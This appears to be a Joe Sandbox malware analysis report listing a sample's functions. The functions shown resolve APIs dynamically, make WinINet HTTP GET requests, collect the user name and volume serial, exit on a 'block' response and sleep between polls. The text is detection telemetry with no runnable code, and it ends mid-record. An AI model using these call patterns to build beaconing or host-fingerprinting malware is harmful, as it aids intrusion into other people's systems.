API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: d36f861d965741e3353f251c713da8b731ea4cdccfc66d6795c73891b57efb6f
Instruction ID: d91021983535b2ec174a55fbeccbcfa113ccd76f1c3ee7c791453d5059858bec
Opcode Fuzzy Hash: d36f861d965741e3353f251c713da8b731ea4cdccfc66d6795c73891b57efb6f
Instruction Fuzzy Hash: 7912BF719106189ADB16EB90DC52FEEB778BF14301F504299B9067A0A1EF702F4DEF62

Function 00357850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003411B7), ref: 00357880
RtlAllocateHeap.NTDLL(00000000), ref: 00357887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0035789F

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: f927972328d5242fb170dceca2be8a6afa4d6f51ef73a91377da31876a7f9417
Instruction ID: 382db567b5f28807a282c879b7125c26bc07907a3d66d836a6c9018424b660b3
Opcode Fuzzy Hash: f927972328d5242fb170dceca2be8a6afa4d6f51ef73a91377da31876a7f9417
Instruction Fuzzy Hash: D4F04FB1944208ABD710DF98DD4AFAEBBBCEB04711F10025AFA05A2690C77415088BA1

Function 00341160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0034116A
ExitProcess.KERNEL32 ref: 0034117E

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 11589211fc2ad4dd0cc0fb150febd5842a0c72f4972a1e82c145cc948d754480
Instruction ID: 12c7f7f02a108517f9236bcc2fd6dcc8033ba324cd04d8b331c8030b07bad9f4
Opcode Fuzzy Hash: 11589211fc2ad4dd0cc0fb150febd5842a0c72f4972a1e82c145cc948d754480
Instruction Fuzzy Hash: 18D05E7490030CDBDB00DFE0D8496DDBBB8FB08311F001555DD05B2340EA306486DBA6

Function 00359C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00FA5530), ref: 00359C2D
GetProcAddress.KERNEL32(74DD0000,00FA52F0), ref: 00359C45
GetProcAddress.KERNEL32(74DD0000,00FBA0C8), ref: 00359C5E
GetProcAddress.KERNEL32(74DD0000,00FBA0F8), ref: 00359C76
GetProcAddress.KERNEL32(74DD0000,00FBA128), ref: 00359C8E
GetProcAddress.KERNEL32(74DD0000,00FBA140), ref: 00359CA7
GetProcAddress.KERNEL32(74DD0000,00FABA20), ref: 00359CBF
GetProcAddress.KERNEL32(74DD0000,00FBD4C8), ref: 00359CD7
GetProcAddress.KERNEL32(74DD0000,00FBD4B0), ref: 00359CF0
GetProcAddress.KERNEL32(74DD0000,00FBD528), ref: 00359D08
GetProcAddress.KERNEL32(74DD0000,00FBD450), ref: 00359D20
GetProcAddress.KERNEL32(74DD0000,00FA5290), ref: 00359D39
GetProcAddress.KERNEL32(74DD0000,00FA5550), ref: 00359D51
GetProcAddress.KERNEL32(74DD0000,00FA5570), ref: 00359D69
GetProcAddress.KERNEL32(74DD0000,00FA5590), ref: 00359D82
GetProcAddress.KERNEL32(74DD0000,00FBD558), ref: 00359D9A
GetProcAddress.KERNEL32(74DD0000,00FBD438), ref: 00359DB2
GetProcAddress.KERNEL32(74DD0000,00FABAC0), ref: 00359DCB
GetProcAddress.KERNEL32(74DD0000,00FA55B0), ref: 00359DE3
GetProcAddress.KERNEL32(74DD0000,00FBD540), ref: 00359DFB
GetProcAddress.KERNEL32(74DD0000,00FBD4E0), ref: 00359E14
GetProcAddress.KERNEL32(74DD0000,00FBD468), ref: 00359E2C
GetProcAddress.KERNEL32(74DD0000,00FBD570), ref: 00359E44
GetProcAddress.KERNEL32(74DD0000,00FA52B0), ref: 00359E5D
GetProcAddress.KERNEL32(74DD0000,00FBD588), ref: 00359E75
GetProcAddress.KERNEL32(74DD0000,00FBD4F8), ref: 00359E8D
GetProcAddress.KERNEL32(74DD0000,00FBD3D8), ref: 00359EA6
GetProcAddress.KERNEL32(74DD0000,00FBD420), ref: 00359EBE
GetProcAddress.KERNEL32(74DD0000,00FBD3F0), ref: 00359ED6
GetProcAddress.KERNEL32(74DD0000,00FBD498), ref: 00359EEF
GetProcAddress.KERNEL32(74DD0000,00FBD408), ref: 00359F07
GetProcAddress.KERNEL32(74DD0000,00FBD480), ref: 00359F1F
GetProcAddress.KERNEL32(74DD0000,00FBD510), ref: 00359F38
GetProcAddress.KERNEL32(74DD0000,00FB13F0), ref: 00359F50
GetProcAddress.KERNEL32(74DD0000,00FBD018), ref: 00359F68
GetProcAddress.KERNEL32(74DD0000,00FBCEC8), ref: 00359F81
GetProcAddress.KERNEL32(74DD0000,00FA5210), ref: 00359F99
GetProcAddress.KERNEL32(74DD0000,00FBD048), ref: 00359FB1
GetProcAddress.KERNEL32(74DD0000,00FA5230), ref: 00359FCA
GetProcAddress.KERNEL32(74DD0000,00FBCFD0), ref: 00359FE2
GetProcAddress.KERNEL32(74DD0000,00FBD078), ref: 00359FFA
GetProcAddress.KERNEL32(74DD0000,00FA5390), ref: 0035A013
GetProcAddress.KERNEL32(74DD0000,00FA5850), ref: 0035A02B
LoadLibraryA.KERNEL32(00FBCFE8,?,00355CA3,00360AEB,?,?,?,?,?,?,?,?,?,?,00360AEA,00360AE3), ref: 0035A03D
LoadLibraryA.KERNEL32(00FBD0A8,?,00355CA3,00360AEB,?,?,?,?,?,?,?,?,?,?,00360AEA,00360AE3), ref: 0035A04E
LoadLibraryA.KERNEL32(00FBCF28,?,00355CA3,00360AEB,?,?,?,?,?,?,?,?,?,?,00360AEA,00360AE3), ref: 0035A060
LoadLibraryA.KERNEL32(00FBCF88,?,00355CA3,00360AEB,?,?,?,?,?,?,?,?,?,?,00360AEA,00360AE3), ref: 0035A072
LoadLibraryA.KERNEL32(00FBCE08,?,00355CA3,00360AEB,?,?,?,?,?,?,?,?,?,?,00360AEA,00360AE3), ref: 0035A083
LoadLibraryA.KERNEL32(00FBCF58,?,00355CA3,00360AEB,?,?,?,?,?,?,?,?,?,?,00360AEA,00360AE3), ref: 0035A095
LoadLibraryA.KERNEL32(00FBD060,?,00355CA3,00360AEB,?,?,?,?,?,?,?,?,?,?,00360AEA,00360AE3), ref: 0035A0A7
LoadLibraryA.KERNEL32(00FBCFB8,?,00355CA3,00360AEB,?,?,?,?,?,?,?,?,?,?,00360AEA,00360AE3), ref: 0035A0B8
GetProcAddress.KERNEL32(75290000,00FA5670), ref: 0035A0DA
GetProcAddress.KERNEL32(75290000,00FBCE20), ref: 0035A0F2
GetProcAddress.KERNEL32(75290000,00FB99A8), ref: 0035A10A
GetProcAddress.KERNEL32(75290000,00FBD0C0), ref: 0035A123
GetProcAddress.KERNEL32(75290000,00FA5650), ref: 0035A13B
GetProcAddress.KERNEL32(734C0000,00FAB958), ref: 0035A160
GetProcAddress.KERNEL32(734C0000,00FA5710), ref: 0035A179
GetProcAddress.KERNEL32(734C0000,00FABBD8), ref: 0035A191
GetProcAddress.KERNEL32(734C0000,00FBCEE0), ref: 0035A1A9
GetProcAddress.KERNEL32(734C0000,00FBCDF0), ref: 0035A1C2
GetProcAddress.KERNEL32(734C0000,00FA5610), ref: 0035A1DA
GetProcAddress.KERNEL32(734C0000,00FA59B0), ref: 0035A1F2
GetProcAddress.KERNEL32(734C0000,00FBD000), ref: 0035A20B
GetProcAddress.KERNEL32(752C0000,00FA5930), ref: 0035A22C
GetProcAddress.KERNEL32(752C0000,00FA58B0), ref: 0035A244
GetProcAddress.KERNEL32(752C0000,00FBCEF8), ref: 0035A25D
GetProcAddress.KERNEL32(752C0000,00FBCE38), ref: 0035A275
GetProcAddress.KERNEL32(752C0000,00FA5870), ref: 0035A28D
GetProcAddress.KERNEL32(74EC0000,00FABC28), ref: 0035A2B3
GetProcAddress.KERNEL32(74EC0000,00FAB818), ref: 0035A2CB
GetProcAddress.KERNEL32(74EC0000,00FBCF10), ref: 0035A2E3
GetProcAddress.KERNEL32(74EC0000,00FA5690), ref: 0035A2FC
GetProcAddress.KERNEL32(74EC0000,00FA5810), ref: 0035A314
GetProcAddress.KERNEL32(74EC0000,00FABAE8), ref: 0035A32C
GetProcAddress.KERNEL32(75BD0000,00FBCE98), ref: 0035A352
GetProcAddress.KERNEL32(75BD0000,00FA58D0), ref: 0035A36A
GetProcAddress.KERNEL32(75BD0000,00FB99B8), ref: 0035A382
GetProcAddress.KERNEL32(75BD0000,00FBD030), ref: 0035A39B
GetProcAddress.KERNEL32(75BD0000,00FBCDD8), ref: 0035A3B3
GetProcAddress.KERNEL32(75BD0000,00FA5730), ref: 0035A3CB
GetProcAddress.KERNEL32(75BD0000,00FA5790), ref: 0035A3E4
GetProcAddress.KERNEL32(75BD0000,00FBCF40), ref: 0035A3FC
GetProcAddress.KERNEL32(75BD0000,00FBD090), ref: 0035A414
GetProcAddress.KERNEL32(75A70000,00FA5950), ref: 0035A436
GetProcAddress.KERNEL32(75A70000,00FBCE50), ref: 0035A44E
GetProcAddress.KERNEL32(75A70000,00FBCE68), ref: 0035A466
GetProcAddress.KERNEL32(75A70000,00FBCE80), ref: 0035A47F
GetProcAddress.KERNEL32(75A70000,00FBCEB0), ref: 0035A497
GetProcAddress.KERNEL32(75450000,00FA5830), ref: 0035A4B8
GetProcAddress.KERNEL32(75450000,00FA5890), ref: 0035A4D1
GetProcAddress.KERNEL32(75DA0000,00FA56B0), ref: 0035A4F2
GetProcAddress.KERNEL32(75DA0000,00FBCF70), ref: 0035A50A
GetProcAddress.KERNEL32(6F070000,00FA5630), ref: 0035A530
GetProcAddress.KERNEL32(6F070000,00FA58F0), ref: 0035A548
GetProcAddress.KERNEL32(6F070000,00FA56D0), ref: 0035A560
GetProcAddress.KERNEL32(6F070000,00FBCFA0), ref: 0035A579
GetProcAddress.KERNEL32(6F070000,00FA56F0), ref: 0035A591
GetProcAddress.KERNEL32(6F070000,00FA5990), ref: 0035A5A9
GetProcAddress.KERNEL32(6F070000,00FA5910), ref: 0035A5C2
GetProcAddress.KERNEL32(6F070000,00FA5750), ref: 0035A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0035A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0035A607
GetProcAddress.KERNEL32(75AF0000,00FBD318), ref: 0035A629
GetProcAddress.KERNEL32(75AF0000,00FB9A28), ref: 0035A641
GetProcAddress.KERNEL32(75AF0000,00FBD180), ref: 0035A659
GetProcAddress.KERNEL32(75AF0000,00FBD270), ref: 0035A672
GetProcAddress.KERNEL32(75D90000,00FA57B0), ref: 0035A693
GetProcAddress.KERNEL32(6FAA0000,00FBD1B0), ref: 0035A6B4
GetProcAddress.KERNEL32(6FAA0000,00FA5770), ref: 0035A6CD
GetProcAddress.KERNEL32(6FAA0000,00FBD138), ref: 0035A6E5
GetProcAddress.KERNEL32(6FAA0000,00FBD330), ref: 0035A6FD

Strings

HttpQueryInfoA, xrefs: 0035A5FC
InternetSetOptionA, xrefs: 0035A5E5

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 81016bdce039d4f7afe0de30ded6eb0bc9ef79ed7973c29820d17aa901e3b369
Instruction ID: 5f595d607e350146fb3b888d74f6efb0bef7f945ad9256e13b127d0814fd3ab6
Opcode Fuzzy Hash: 81016bdce039d4f7afe0de30ded6eb0bc9ef79ed7973c29820d17aa901e3b369
Instruction Fuzzy Hash: 2A627DB5500200AFF748DFA8ED8896637F9F76C701304A51BAE45E3225D739A45AFF22

Function 00346280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 003447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00344839
Part of subcall function 003447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00344849

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

InternetOpenA.WININET(00360DFE,00000001,00000000,00000000,00000000), ref: 003462E1
StrCmpCA.SHLWAPI(?,00FBE858), ref: 00346303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00346335
HttpOpenRequestA.WININET(00000000,GET,?,00FBE2E0,00000000,00000000,00400100,00000000), ref: 00346385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003463BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003463D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 003463FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0034646D
InternetCloseHandle.WININET(00000000), ref: 003464EF
InternetCloseHandle.WININET(00000000), ref: 003464F9
InternetCloseHandle.WININET(00000000), ref: 00346503

Strings

ERROR, xrefs: 00346407
GET, xrefs: 0034637C
ERROR, xrefs: 003464C9

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: f62ee5e4de6b2e0377c20a4b9cfa83d8a764446e5f330cbac4c2934790711eea
Instruction ID: e4013ae3073bcc008fea48efc0b58e6e050673e7f22e39b3cd29034a2633060a
Opcode Fuzzy Hash: f62ee5e4de6b2e0377c20a4b9cfa83d8a764446e5f330cbac4c2934790711eea
Instruction Fuzzy Hash: 84714E71A00218ABEF15DF90CC46FEE77B8FB45701F108199F90A6B190DBB46A89DF52

Function 00355510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0035A820: lstrlen.KERNEL32(00344F05,?,?,00344F05,00360DDE), ref: 0035A82B
Part of subcall function 0035A820: lstrcpy.KERNEL32(00360DDE,00000000), ref: 0035A885

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00355644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003556A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00355857

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 003551F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00355228

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 003552C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00355318
Part of subcall function 003552C0: lstrlen.KERNEL32(00000000), ref: 0035532F
Part of subcall function 003552C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00355364
Part of subcall function 003552C0: lstrlen.KERNEL32(00000000), ref: 00355383
Part of subcall function 003552C0: lstrlen.KERNEL32(00000000), ref: 003553AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0035578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00355940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00355A0C
Sleep.KERNEL32(0000EA60), ref: 00355A1B

Strings

ERROR, xrefs: 003559FE
ERROR, xrefs: 0035577D
ERROR, xrefs: 00355849
ERROR, xrefs: 00355932
ERROR, xrefs: 00355636
ERROR, xrefs: 00355693

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 49983f49efdf7dd5245fae67bfcb26aae5bbcb08fe34ad067251c660a390ab86
Instruction ID: 6784a190b17e26556996cf15ab75efa8d34b5fb7953fa0129cf09f45acaad1f6
Opcode Fuzzy Hash: 49983f49efdf7dd5245fae67bfcb26aae5bbcb08fe34ad067251c660a390ab86
Instruction Fuzzy Hash: 3FE151719109049ADB16FBB0DC52EED7778AF54301F408629BD076A0B1EF346B4DEBA2

Function 003517A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 003517C5
ExitProcess.KERNEL32 ref: 003517D1

Strings

block, xrefs: 003517B7

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 090d29fa267a90885c0bb8245a064c62ece835a573edf620fd7afda2858c9c58
Instruction ID: cd5b47e6c37dc69991c05395eb67945fb28f69a873b24decf2b1f13aeaf3b107
Opcode Fuzzy Hash: 090d29fa267a90885c0bb8245a064c62ece835a573edf620fd7afda2858c9c58
Instruction Fuzzy Hash: F8517DB4A00209EFDB06DFA0D954FBE77B9BF44305F108149EC06AB260D770E949DBA2

Function 00357500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00357542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0035757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00357603
RtlAllocateHeap.NTDLL(00000000), ref: 0035760A
wsprintfA.USER32 ref: 00357640

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Strings

C, xrefs: 0035754C
6, xrefs: 0035764D, 00357655, 0035761B, 00357623
:, xrefs: 0035755C
\, xrefs: 00357560

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$6
API String ID: 1544550907-1570250246
Opcode ID: 14e2577ab4503efef5197481779491e1420f8146ca8f02b7aa7cb7be705484e3
Instruction ID: e7d75af0a8dad5e6672adc0dc126fe16b35dcfc26427bb85886183c1fed48ae2
